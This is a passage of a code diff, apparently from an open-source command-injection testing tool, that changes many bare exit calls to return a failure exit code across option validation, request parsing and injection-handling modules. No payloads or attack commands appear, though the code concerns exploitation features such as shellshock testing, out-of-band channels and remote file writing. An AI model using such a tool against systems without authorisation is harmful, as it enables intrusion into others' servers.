SystemExit() + raise SystemExit(settings.EXIT_FAILURE) priorities[script] = getattr(module, "__priority__", settings.PRIORITY.NORMAL) warn_msg = module.dependencies() if hasattr(module, "dependencies") else None if warn_msg: @@ -3018,11 +3018,11 @@ def _apply_tamper(script_name, module, payload): except Exception as err: err_msg = "Tamper script '" + script_name + "' raised an unhandled error (" + str(err) + ")." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if not isinstance(result, str): err_msg = "Tamper script '" + script_name + "' returned an invalid payload type ('" + type(result).__name__ + "')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) return result """ @@ -3137,7 +3137,7 @@ def no_parameters_found(): if not menu.options.crawldepth: err_msg += "Re-run with '--crawl=2'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Check if the provided value is empty. @@ -3151,7 +3151,7 @@ def is_empty(multi_parameters, http_request_method): multi_params = flatten(json.loads(','.join(multi_params), object_pairs_hook=OrderedDict)) if is_JSON_check(','.join(multi_params)) else multi_params except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) for empty in multi_params: try: if settings.IS_JSON: @@ -3224,7 +3224,7 @@ def is_JSON_check(parameter): elif "Expecting" in error_str and "end of data" in error_str: err_msg = "JSON parsing error: " + error_str + ". Check for extra commas or missing closing brackets." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Process with JSON data @@ -3683,7 +3683,7 @@ def print_single_os_cmd(cmd, output, filename): err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if menu.options.abort_on_empty: - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Quote provided cmd @@ -3856,7 +3856,7 @@ def check_file_to_write(file_to_write=None, dest=None): if not os.path.exists(file_to_write): err_msg = "The specified local file '" + file_to_write + "' does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if os.path.isfile(file_to_write): try: @@ -3866,7 +3866,7 @@ def check_file_to_write(file_to_write=None, dest=None): err_msg = "Unable to read the local file '" + file_to_write + "' (" + str(err) + "). " err_msg += "Note that '--file-write' does not support binary files." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) content = content.replace(settings.END_LINE.CRLF, settings.END_LINE.LF).replace(settings.END_LINE.CR, settings.END_LINE.LF) if settings.TARGET_OS == settings.OS.WINDOWS: import base64 @@ -4124,7 +4124,7 @@ def init_oob_channel(): if transport not in known: err_msg = "The option '--oob-transport' takes one of: " + ", ".join("'" + _ + "'" for _ in known) + "." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) settings.OOB_TRANSPORT = transport for option, attribute in (("--oob-timeout", "OOB_TIMEOUT"), ("--oob-poll", "OOB_POLL_INTERVAL")): value = menu.options.oob_timeout if attribute == "OOB_TIMEOUT" else menu.options.oob_poll @@ -4135,7 +4135,7 @@ def init_oob_channel(): if value < 1: err_msg = "The option '" + option + "' must be a positive integer number of seconds." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) setattr(settings, attribute, value) # A wait can only observe an interaction if a poll falls inside it, after the interaction lands. @@ -4161,7 +4161,7 @@ def init_oob_channel(): except Exception as err: err_msg = provider.tls_error(err) or ("Unable to reach the out-of-band server (" + str(err) + ").") settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) settings.OOB_CHANNEL = channel # The server is reached over both, so what the payloads use is the target's side of the choice: # a host with no TLS of its own, or one that only lets 443 out, needs the other one. @@ -4172,7 +4172,7 @@ def init_oob_channel(): if scheme not in ("http", "https"): err_msg = "The option '--oob-scheme' takes either 'http' or 'https'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) settings.OOB_SCHEME = scheme settings.OOB_IGNORE_TIMEOUT = True notice = channel.server_notice() @@ -4583,7 +4583,7 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if menu.options.abort_on_empty: - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Success msg. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index af5c790da8..9e5b06f8bf 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -257,7 +257,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Heuristic (basic) test over the out-of-band channel. @@ -433,7 +433,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Run one technique via the given exploit() callable, updating its own state flag in settings - the shared skeleton behind the 4 functions below. @@ -1362,18 +1362,18 @@ def perform_checks(url, http_request_method, filename): if main_content == auth_content: err_msg = "Authentication failed using the specified credentials and URL." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: # Authentication request failed due to a connection or HTTP error. settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # If only one of the required authentication options is provided, display an error and exit. elif menu.options.auth_url or menu.options.auth_data: err_msg = "Authentication requires specifying both '--auth-url' and '--auth-data' options." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # If shellshock testing is enabled, force the injection level to HTTP header level. if menu.options.shellshock: @@ -1512,7 +1512,7 @@ def do_check(url, http_request_method, filename): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.MULTI_TARGETS: common.show_http_error_codes() - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif settings.MULTI_TARGETS: checks.finish_target() logs.print_logs_notification(filename, url) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 9a8f271e39..674550d10d 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -232,7 +232,7 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if menu.options.abort_on_empty: - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except KeyboardInterrupt: # Resume right back at the shell prompt - no need to re-ask to spawn one. checks.handle_exploitation_interrupt(filename, url) diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index b4c5a87db0..64100e3235 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1178,7 +1178,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: err_msg = "Something went wrong. The request has failed (" + str(tries) + ") times in a row." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) return response @@ -1443,7 +1443,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): err_msg = "The URL to receive the execution output must start with 'http://' or " err_msg += "'https://', and '" + str(message) + "' does not." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output diff --git a/src/core/main.py b/src/core/main.py index 0800f7c1b3..a7b358d9b9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -111,7 +111,7 @@ def user_agent(): else: err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Set the User-Agent if mobile_agent: @@ -158,7 +158,7 @@ def examine_request(request, url): err_msg += " '--header=\"HEADER_NAME: " + settings.CUSTOM_INJECTION_MARKER_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except Exception as err_msg: requests.request_failed(err_msg) @@ -553,7 +553,7 @@ def main(filename, url, http_request_method): if settings.INJECTION_LEVEL not in (settings.DEFAULT_INJECTION_LEVEL, settings.COOKIE_INJECTION_LEVEL, settings.HTTP_HEADER_INJECTION_LEVEL): err_msg = "The value for option '--level' must be an integer value from range [1, 3]." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL @@ -578,7 +578,7 @@ def main(filename, url, http_request_method): err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.test_parameter and menu.options.skip_parameter: test_names = {p.split("=")[0] for p in menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)} @@ -587,7 +587,7 @@ def main(filename, url, http_request_method): err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously for the same parameter(s)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.ignore_session: # Ignore session @@ -622,7 +622,7 @@ def main(filename, url, http_request_method): err_msg += "Currently, the only supported " + ("one is ", "ones are ")[len(settings.SUPPORTED_EVAL_LANGUAGES) != 1] err_msg += ", ".join("'" + _ + "'" for _ in settings.SUPPORTED_EVAL_LANGUAGES) + "." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Everything the payloads are built from follows the language that was named. if menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: settings.set_eval_grammar(menu.options.eval_sink) @@ -639,7 +639,7 @@ def main(filename, url, http_request_method): err_msg = "The switch '--oob' selects the out-of-band technique on its own, so it cannot be " err_msg += "combined with '--technique'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check for skipping injection techniques. if menu.options.skip_tech: # Convert injection technique(s) to lowercase @@ -649,7 +649,7 @@ def main(filename, url, http_request_method): err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: @@ -658,7 +658,7 @@ def main(filename, url, http_request_method): if len(menu.options.tech) == 0: err_msg = "Aborted the detection procedure due to skipping all injection techniques." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Nothing is checked here about which techniques reach the evaluation sink. @@ -676,12 +676,12 @@ def main(filename, url, http_request_method): if menu.options.file_write is not None and not menu.options.file_dest: err_msg = "You must specify the host's absolute filepath to write (i.e. '--file-dest')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.file_dest and menu.options.file_write == None: err_msg = "You must enter the '--file-write' parameter." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # The remote destination must be an absolute filepath (Unix-style, Windows drive-letter, or UNC). if menu.options.file_dest and not (menu.options.file_dest.startswith(("/", "\\")) or \ @@ -689,18 +689,18 @@ def main(filename, url, http_request_method): err_msg = "The value for option '--file-dest' must be an absolute filepath " err_msg += "(e.g. '/tmp/file' or 'C:\\Windows\\Temp\\file')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check the local file to write, before any tests are performed. if menu.options.file_write is not None: if not os.path.exists(menu.options.file_write): err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if not os.path.isfile(menu.options.file_write): err_msg = "The specified path '" + menu.options.file_write + "' is not a file." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check if defined "--url" or "-m" option. if url: @@ -757,7 +757,7 @@ def main(filename, url, http_request_method): else: err_msg = "You must specify the target URL." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Retrieve everything from the supported enumeration options. if menu.options.enum_all: @@ -775,7 +775,7 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) if any((settings.REVERSE_TCP, settings.BIND_TCP)): - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Ctrl-C before controller.do_check() even starts (rare - do_check() has # its own handling for everything inside it). @@ -842,7 +842,7 @@ def run(): if menu.options.requestfile and menu.options.logfile: err_msg = "The '-r' option is unlikely to work combined with the '-l' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() @@ -900,12 +900,12 @@ def run(): if not os.path.exists(bulkfile): err_msg = "It seems the '" + bulkfile + "' file does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif os.stat(bulkfile).st_size == 0: err_msg = "It seems the '" + bulkfile + "' file is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: settings.MULTI_TARGETS = True @@ -1169,9 +1169,9 @@ def _dedupe_lazy(iterable): except EOFError: err_msg = "Exiting, due to EOFError." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise checks.exit() + raise checks.exit(settings.EXIT_FAILURE) - except SystemExit: - raise checks.exit() + except SystemExit as err_msg: + raise checks.exit(err_msg.code) # eof diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index d4fd892d13..32d06cb99e 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -38,7 +38,7 @@ def load_modules(url, http_request_method, filename): getattr(module, handler_name)(url, http_request_method, filename) except ImportError as err_msg: settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) + raise SystemExit(settings.EXIT_FAILURE) # eof diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index f7d24c025d..df1b55653d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -309,7 +309,7 @@ def shellshock_handler(url, http_request_method, filename): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except _urllib.error.HTTPError as err_msg: # 500/400 during header/CVE probing just means this combination failed - not fatal. diff --git a/src/core/options.py b/src/core/options.py index a2ba8d3c58..1186f9c280 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -41,7 +41,7 @@ def validate(): err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " err_msg += "Use -h for help." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Any out-of-band option on its own is enough to ask for the channel. if any((menu.options.oob_server, menu.options.oob_token, menu.options.oob_poll != settings.OOB_POLL_INTERVAL)): @@ -56,7 +56,7 @@ def validate(): err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) else: settings.DEFAULT_CODEC = menu.options.codec.lower() @@ -75,18 +75,18 @@ def validate(): if menu.options.tor: err_msg = "The switch '--tor' is incompatible with option '--proxy'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.ignore_proxy: err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) match = re.search(settings.PROXY_REGEX, menu.options.proxy.strip()) if not match: err_msg = "Proxy value must be in format '(" + "|".join(settings.PROXY_SCHEMES) + ")://address:port'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) _, proxy_scheme, proxy_cred, proxy_address, proxy_port = match.groups() settings.PROXY_SCHEME = (proxy_scheme or "http").lower() menu.options.proxy = proxy_address + ":" + proxy_port @@ -98,12 +98,12 @@ def validate(): if menu.options.proxy and menu.options.proxy_file: err_msg = "The option '--proxy' is incompatible with the option '--proxy-file'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.proxy_freq and not menu.options.proxy_file: err_msg = "The option '--proxy-freq' requires the option '--proxy-file'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Read once and kept in the order they were written, so a run that rotates through them is # repeatable rather than picking one at random. @@ -113,23 +113,23 @@ def validate(): if menu.options.safe_post and not menu.options.safe_url: err_msg = "The option '--safe-post' requires the option '--safe-url'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.safe_req and any((menu.options.safe_url, menu.options.safe_post)): err_msg = "The option '--safe-req' is incompatible with the options '--safe-url' and '--safe-post'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.safe_freq and not any((menu.options.safe_url, menu.options.safe_req)): err_msg = "The option '--safe-freq' requires the option '--safe-url' or the option '--safe-req'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if any((menu.options.safe_url, menu.options.safe_req)): if menu.options.safe_freq <= 0: err_msg = "You must specify a '--safe-freq' value, greater than zero, to visit a safe URL." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.safe_url and not re.search(r"(?i)\Ahttp[s]*://", menu.options.safe_url): menu.options.safe_url = ("https://" if ":443/" in menu.options.safe_url else "http://") + menu.options.safe_url if menu.options.safe_req: @@ -139,7 +139,7 @@ def validate(): if option_value and not menu.options.csrf_token: err_msg = "The option '" + option_name + "' requires the option '--csrf-token'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.csrf_token: # A token is one value at a time: a second worker spends the one the first was given, and both @@ -147,7 +147,7 @@ def validate(): if menu.options.threads > 1: err_msg = "The option '--csrf-token' is incompatible with the option '--threads'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) checks.set_anticsrf_token(menu.options.csrf_token) if menu.options.retry_on: @@ -156,18 +156,18 @@ def validate(): except Exception as err: err_msg = "Invalid regular expression '" + menu.options.retry_on + "' (" + str(err) + ")." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Asked for on its own, it has nothing to check: the run goes out the way it always would. if menu.options.check_tor and not any((menu.options.tor, menu.options.proxy)): err_msg = "The switch '--check-tor' requires the switch '--tor' or the option '--proxy'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.tor_type and not menu.options.tor: err_msg = "The option '--tor-type' requires the switch '--tor'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if not menu.options.proxy: # Check if defined Tor (--tor option). @@ -178,35 +178,35 @@ def validate(): if menu.options.ignore_session and menu.options.flush_session: err_msg = "The '--ignore-session' switch is unlikely to work combined with the '--flush-session' switch." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.failed_tries == 0: err_msg = "You must specify '--failed-tries' value, greater than zero." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check if defined "--auth-cred" and/or '--auth-type'. if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): err_msg = "You must specify both '--auth-cred' and '--auth-type' options." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.auth_cred and menu.options.auth_type: if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.requestfile and menu.options.url: err_msg = "The '-r' option is incompatible with option '-u' ('--url')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.bulkfile and menu.options.url: err_msg = "The '-m' option is incompatible with option '-u' ('--url')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check the user-defined OS. if menu.options.os: @@ -219,7 +219,7 @@ def validate(): except ValueError: err_msg = "The option '--abort-code' should contain a list of integer values." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # A page that asks to be retried is not a page to abort on: the two would otherwise both answer # for the same response, and the abort would win. @@ -236,7 +236,7 @@ def validate(): except ValueError: err_msg = "The option '--ignore-code' should contain a list of integer values." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check if defined "--wizard" option. if menu.options.wizard: @@ -281,7 +281,7 @@ def validate(): if menu.options.jitter < 0: err_msg = "The value of the '--jitter' option must not be negative." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check if defined "--timesec" option. if menu.options.timesec != 0: @@ -342,26 +342,26 @@ def validate(): if not settings.CRAWLING: err_msg = "The '--crawl-exclude' option requires usage of the '--crawl' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) try: re.compile(menu.options.crawl_exclude) except Exception as e: err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Only a request carrying a body can be split into chunks. if menu.options.chunked and not any((menu.options.data, menu.options.requestfile, \ menu.options.logfile, menu.options.forms)): err_msg = "The '--chunked' switch requires usage of POST data." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) for option, cookies_file in (("--load-cookies", menu.options.load_cookies), ("--live-cookies", menu.options.live_cookies)): if cookies_file and not os.path.isfile(cookies_file): err_msg = "It seems the '" + cookies_file + "' file, provided with the '" + option + "' option, does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # The file keeps being read as it changes, so what it holds now would only be overwritten. if menu.options.load_cookies and not menu.options.live_cookies: @@ -373,14 +373,14 @@ def validate(): except Exception as e: err_msg = "invalid regular expression '" + menu.options.scope + "' (" + str(e) + ")." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) info_msg = "Using regular expression '" + menu.options.scope + "' for filtering targets." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.forms and not settings.CRAWLING: err_msg = "The '--forms' switch requires the '--crawl' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check arguments if len(sys.argv) == 1 and not settings.STDIN_PARSING: @@ -399,11 +399,11 @@ def validate(): if not os.path.exists(menu.options.file_write): err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if not os.path.isfile(menu.options.file_write): err_msg = "The specified path '" + menu.options.file_write + "' is not a file." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Check provided parameters for tests checks.check_provided_parameters() diff --git a/src/core/parse/request.py b/src/core/parse/request.py index 91a6cbf8c4..6229b2475a 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -41,7 +41,7 @@ def _invalid_data(request_file): err_msg += "'" + request_file + "'" err_msg += " file does not contain a valid HTTP request." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Split the content of a request / proxy log file into the single requests it holds. @@ -196,14 +196,14 @@ def _parse_request(request, request_file): except (binascii.Error, UnicodeDecodeError) as e: err_msg = "Invalid base64-encoded credentials provided in Authorization header: " + format(str(e)) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif target["auth_type"].lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e. '--auth-cred=admin:admin') " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # Add extra headers else: @@ -267,7 +267,7 @@ def parse_requests(request_file): if not os.path.exists(request_file): err_msg = "It seems the '" + request_file + "' file does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) try: if os.stat(request_file).st_size == 0: @@ -278,7 +278,7 @@ def parse_requests(request_file): error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) targets = [] seen = set() @@ -299,7 +299,7 @@ def parse_requests(request_file): if menu.options.scope and settings.SKIPPED_OUT_OF_SCOPE: err_msg = "No target of the '" + os.path.split(request_file)[1] + "' file is within the given scope." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) _invalid_data(request_file) return targets @@ -314,14 +314,14 @@ def parse_safe_request(request_file): if not os.path.exists(request_file): err_msg = "It seems the '" + request_file + "' file does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) try: with open(request_file, encoding=settings.DEFAULT_CODEC) as file: content = file.read() except IOError as err_msg: error_msg = "The '" + request_file + "' " + str(err_msg.args[1]).lower() + "." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) for raw_request in _split_requests(content): target = _parse_request(raw_request, request_file) @@ -342,7 +342,7 @@ def parse_safe_request(request_file): err_msg = "Invalid format of the safe request file '" + request_file + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Parse target and data from http proxy logs (i.e. Burp or WebScarab) diff --git a/src/core/requests/anticsrf.py b/src/core/requests/anticsrf.py index 4515af9e95..e71a2ebf60 100644 --- a/src/core/requests/anticsrf.py +++ b/src/core/requests/anticsrf.py @@ -151,7 +151,7 @@ def apply_token(request): if not menu.options.csrf_url: err_msg += " You can try to re-run by providing a valid value for the option '--csrf-url'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if 